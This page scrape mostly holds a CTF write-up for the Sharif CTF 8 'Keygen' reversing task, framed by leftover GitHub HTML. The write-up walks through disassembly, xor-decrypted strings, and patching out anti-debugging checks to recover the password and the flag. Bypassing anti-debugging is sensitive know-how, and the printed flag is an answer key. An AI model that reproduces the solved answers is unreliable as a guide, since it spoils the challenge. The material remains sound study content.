<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>unknown.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Sharif CTF 8 - Keygen
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Reverse | 200 | AlexZ
> Find the password if you can!
[Binary](./findpass)
## SolutionWe have exe file which asks us for a password.> Enter password please:
If we type something and press enter, there is no output, and any further key closes the app.After opening binary in IDA, we can see 2615 functions and IDA cannot determine any useful names.

### mainLet's find `main` first. For this, I started debugger and stepped-over `start` function. After `call sub_406240` the program continues running and didn't return into debugger. Function `sub_406240` has a huge disassembly graph and lots of `xmm` operations which are used similarly as in [Crack me!](../crackme) task for obfuscation. So it's most likely our `main`.

### MessagesThere are no interesting plain strings in binary, but at the top of `main` function we can see initialization of some local array (or arrays):```asm.text:0040628C mov [ebp+var_30], 71h.text:00406290 mov [ebp+var_2F], 5Ch....text:004063C2 mov [ebp+var_13], 30h```Unfortunately, nothing readable. But after analyzing several calls after this (`.text:004065A4 .. .text:00406645`), we can found interesting `sub_403320` (`xor` later) which simply does block xor with passed key. So, this function decrypts our password prompt from one part of this array using key `'423060'`. Other surrounding functions does initialization of C++ - strings and IO using `cin`/`cout` (this assumption based on similarity with same functions in _Crack me!_ task and some intuition, it's really difficult to work with library functions without any names).In pseudocode it looks like this:```c++cout << xor(&array[...], "423060") << ":\n";cin >> input;```
There is one another reference to our array: in the bottom of `main` we find a very similar block which is executed only if some local variable (`result` later) equals 1.```asm.text:0040837C cmp [ebp+result], 1.text:00408383 jnz short loc_4083ED....text:004083AC call xor....text:004083D0 push eax.text:004083D1 push offset cout.text:004083D6 call shift_left ; <<```Very interesting! Let's go to the debugger and patch this variable to 1. Then we can see> Well done,Flag is md5 of input string.
on the console. So, our task is to find the input which leads `result` to be 1.
### check_flagsThere are only two xrefs to `result`, both from `main`.

First unconditionally sets it to 1. Second happens later in for loop: if the k-th item of global `int[5]` array at .data:00456414 (`check_flags` later) equals 0, then `result` becomes 0:```asm.text:00408183 cmp check_flags[ecx*4], 0.text:0040818B jnz short loc_408199.text:0040818D mov [ebp+result], 0```Ok, now we need to have all `check_flags[i]` to be 1. Let's see xrefs to `check_flags`:

There are references from `main` function and from 5 other functions (`check0` ... `check4`) which are _almost_ identical. Every function:- takes one argument (as we can see in debugger, it is one part of space-splitted user input)- inits some local array- then calls `xor` with argument and one part of the array as a key- checks equality with another part of the array- `checki()` sets `check_flags[i] = 1` only if `xor` result equals to expected.
So we can simply go to the debugger, enter some string, watch at every `checki()` which key is used and which result is expected, then xor them...After concatenation of all required arguments (for `check0` ... `check4`) with spaces, we have `Flag: {HiBC NBG8L >65D OMSDF}`. But this input is accepted under debugger only.
### Anti-debuggingAt this point I have spent a couple of hours, trying to understand which checks are failed without a debugger. After several patching (replacing `result` check with `check_flags[i]` check) I determined that problem is `check3` and `check4` functions. After looking more carefully at array initialization in `check3` we find `some_flag` global variable which adds to one of elements of the array.```asm.text:00405FD0 mov [ebp+var_16], 6Fh.text:00405FD4 mov [ebp+var_15], 1Eh.text:00405FD8 mov [ebp+var_14], 0.text:00405FDC mov eax, 1.text:00405FE1 imul ecx, eax, 0.text:00405FE4 movsx edx, [ebp+ecx+var_18].text:00405FE9 add edx, some_flag.text:00405FEF mov eax, 1.text:00405FF4 imul ecx, eax, 0.text:00405FF7 mov [ebp+ecx+var_18], dl.text:00405FFB mov [ebp+var_19], 5Ah```There are only two other references to `some_flag`:- in `main`, `some_flag = 1` if there are more than 5 parts of flag (i.e. `len(flag.split(' ')) > 5`.- in `sub_4050F0` where it is set to result of `sub_4043C0`. After looking at the code of `sub_4043C0` we find that it returns 1 or 0 based on some values in system structures. For example, it checks that `*(_BYTE *)(__readfsdword(0x30) + 2)` (which is `BeingDebugged` field in [PEB struct](https://msdn.microsoft.com/ru-ru/library/windows/desktop/aa813706(v=vs.85).aspx)) isn't zero. In this case, `result` will be 1. I.e. `result` is 1 if a debugger is present.
`check4` also uses a similar global variable, `some_flag2`. This flag is set by `sub_404DA0` which simply tries to call `OutputDebugStringW` and then check success using `GetLastError`:```asm.text:00404F30 push offset OutputString ; "Error".text:00404F35 call ds:OutputDebugStringW....text:004050C5 call ds:GetLastError.text:004050CB test eax, eax.text:004050CD jnz short loc_4050DB.text:004050CF mov some_flag2, 1.text:004050D9 jmp short loc_4050E5.text:004050DB ; -----------------------------------------------------------.text:004050DB.text:004050DB loc_4050DB:.text:004050DB mov some_flag2, 0```Okay, let's patch these functions, so that they will always return 0, and do xor in `check3` and `check4` again.We have input `Flag: {HiBC NBG8L 965D LMSDF}` and it's accepted without a debugger.
### FlagSharifCTF{9a55042d8cba49ef460ac8872eff0902} |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf/codegate2018/BaskinRobins31 at master · zj3t/ctf · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B046:6BE1:1C8D55BF:1D642493:6412271E" data-pjax-transient="true"/><meta name="html-safe-nonce" content="2e4feff9880666cec2ebf28dc508368e69ac35e75908a59d8ab96273bfd76e0a" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMDQ2OjZCRTE6MUM4RDU1QkY6MUQ2NDI0OTM6NjQxMjI3MUUiLCJ2aXNpdG9yX2lkIjoiNzE3NDA0NDI0NTk3MTU3NjYwNiIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="571e0771bb5b2326517eaa77801a10927c8f7f8b184adf697f1e870fdf8d509d" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:118874597" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5f4f7ceb6c41fe063033336c91d4b6c143ef8534f2dd09a954ab392af43deda7/zj3t/ctf" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf/codegate2018/BaskinRobins31 at master · zj3t/ctf" /><meta name="twitter:description" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/5f4f7ceb6c41fe063033336c91d4b6c143ef8534f2dd09a954ab392af43deda7/zj3t/ctf" /><meta property="og:image:alt" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf/codegate2018/BaskinRobins31 at master · zj3t/ctf" /><meta property="og:url" content="https://github.com/zj3t/ctf" /><meta property="og:description" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/zj3t/ctf git https://github.com/zj3t/ctf.git">
<meta name="octolytics-dimension-user_id" content="35731091" /><meta name="octolytics-dimension-user_login" content="zj3t" /><meta name="octolytics-dimension-repository_id" content="118874597" /><meta name="octolytics-dimension-repository_nwo" content="zj3t/ctf" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="118874597" /><meta name="octolytics-dimension-repository_network_root_nwo" content="zj3t/ctf" />
<link rel="canonical" href="https://github.com/zj3t/ctf/tree/master/codegate2018/BaskinRobins31" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
